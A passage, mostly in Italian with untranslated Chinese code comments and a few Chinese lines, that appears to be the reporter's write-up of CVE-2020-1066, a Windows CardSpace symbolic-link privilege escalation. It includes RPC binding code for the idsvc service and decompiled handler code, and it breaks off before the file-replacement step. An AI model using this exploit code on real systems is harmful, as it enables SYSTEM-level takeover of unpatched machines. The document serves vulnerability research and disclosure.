
Exploit di escalation dei privilegi locale per CVE-2020-1066 che mira a Windows 7 e Server 2008 R2. Sfrutta la sostituzione arbitraria di file tramite l'abuso di link simbolici del servizio Windows CardSpace (idsvc) per ottenere l'esecuzione di codice a livello di SYSTEM.
Questa vulnerabilità è una vulnerabilità di elevazione dei privilegi locali causata dalla sostituzione arbitraria di file dovuta alla gestione non corretta degli oggetti di collegamento simbolico da parte del servizio Windows CardSpace.
Il POC dell'autore è solo a scopo di ricerca; se i lettori utilizzano questo POC per altri comportamenti, l'autore non è responsabile.
[toc]
Applicabile agli utenti normali di Windows 7 e Windows Server 2008 R2 e agli utenti IIS con configurazioni speciali.
L'autore è il segnalatore della vulnerabilità, aggiornata a maggio 2020. La vulnerabilità proviene dal servizio Windows CardSpace (abbreviato idsvc) di Windows 7 e Windows Server 2008 R2. Questo servizio può essere avviato da qualsiasi utente, viene eseguito con privilegi di System e fornisce chiamate RPC pubbliche. Quando il servizio viene attivato dall'utente per spostare un file di configurazione specifico situato nella variabile d'ambiente %APPDATA% dell'utente corrente, non gestisce correttamente gli oggetti di collegamento simbolico, portando a una sostituzione arbitraria di file e a un'elevazione dei privilegi locali. Questa è la causa della vulnerabilità. Poiché si basa su chiamate RPC, è necessario prima ottenere l'interfaccia del servizio MIDL per poter scrivere codice locale per interagire con esso. L'autore consiglia di utilizzare RpcView, il metodo specifico può essere consultato nella serie di articoli sul reverse engineering delle vulnerabilità RPC. Prima, utilizzare il seguente metodo per ottenere i file dei simboli e configurare i simboli nello strumento; successivamente, si può decompilare il file IDL dell'interfaccia RPC. Il metodo specifico è il seguente:``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols

Attraverso lo strumento si ottengono 3 dati importanti: il tipo di protocollo RPC, il nome del protocollo e il file di definizione del client dell'interfaccia del protocollo (il file .c generato dalla compilazione del file IDL, vedere la casella di testo Decompilation a sinistra), in questo modo è possibile associare il servizio RPC con il seguente metodo.```
BOOL StartRpcService()
{
RPC_STATUS status;
unsigned int cMinCalls = 1;
RPC_BINDING_HANDLE v5;
RPC_SECURITY_QOS SecurityQOS = {};
RPC_WSTR StringBinding = nullptr;
if (StartConnectingService())
{
//Rpc协议的类型,协议名称
status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
if (status){
printf("RpcStringBindingComposeW Failed:%d\n", status);
return(status);
}
status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
RpcStringFreeW(&StringBinding);
if (status){
printf("RpcBindingFromStringBindingW Failed:%d\n", status);
return(status);
}
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
if (status){
printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
return(status);
}
//绑定接口
status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
if (status){
printf("RpcEpResolveBinding Failed:%d\n", status);
return(status);
}
}
else
{
printf("Start Connecting Windows Cardspace Service Failed");
return 0;
}
return 0;
}
通过反编译idsvc服务代码得到具体工程(见相关项目).idsvc服务绑定了全局RPC接口的全局处理程序RequestFactory.ProcessNewRequest,对于初次调用即parentRequestHandle为0的情况调用CreateClientRequestInstance类处理回调,后续操作由CreateUIAgentRequestInstance类处理``` //全局RPC接口的全局处理程序 internal static int ProcessNewRequest( int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs) { ... //初次调用 if (parentRequestHandle == 0) { using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) { using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream)) {
string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求 num = clientRequestInstance.DoProcessRequest(out extendedMessage); RpcResponse outArgs1; RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果 outArgs = outArgs1.Marshal(); } } }
Il servizio idsvc riflette la classe corrispondente in base al nome della classe nel campo RpcRequest->Type per elaborare il callback; qui il poc utilizza la classe "ManageRequest".```
private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
{
ClientRequest clientRequest = (ClientRequest)null;
lock (RequestFactory.s_createRequestSync)
{
RequestFactory.RequestName request =
RequestFactory.s_requestMap[reqName];
if (-1 !=
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests,
request))
{
Process contextMapping =
ClientUIRequest.GetContextMapping(rpcHandle, true);
InfoCardTrace.ThrowInvalidArgumentConditional(null ==
contextMapping, nameof(rpcHandle));
WindowsIdentity executionIdentity =
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
InfoCardUIAgent agent =
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
switch (RequestFactory.s_requestMap[reqName])
{
//这里使用的是"ManageRequest"类;
case RequestFactory.RequestName.ManageRequest:
clientRequest = (ClientRequest)new
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream,
outStream);
break;
}
}
触发ManageRequest实例的DoProcessRequest函数处理请求,省略中间步骤,最后调用StoreConnection.CreateDefaultDataSources()来到了利用点.
Durante l'interazione con il servizio, il servizio impersona l'utente (Impersonate Client) e recupera il profilo utente. Per impostazione predefinita, il profilo specificato si trova nella directory della variabile d'ambiente %APPDATA%. Per gli utenti IIS, in casi particolari, il profilo non viene caricato per impostazione predefinita; è necessario abilitare la seguente configurazione: fare clic su Pool di applicazioni -> Impostazioni avanzate.
```
//构造函数
protected StoreConnection(WindowsIdentity identity)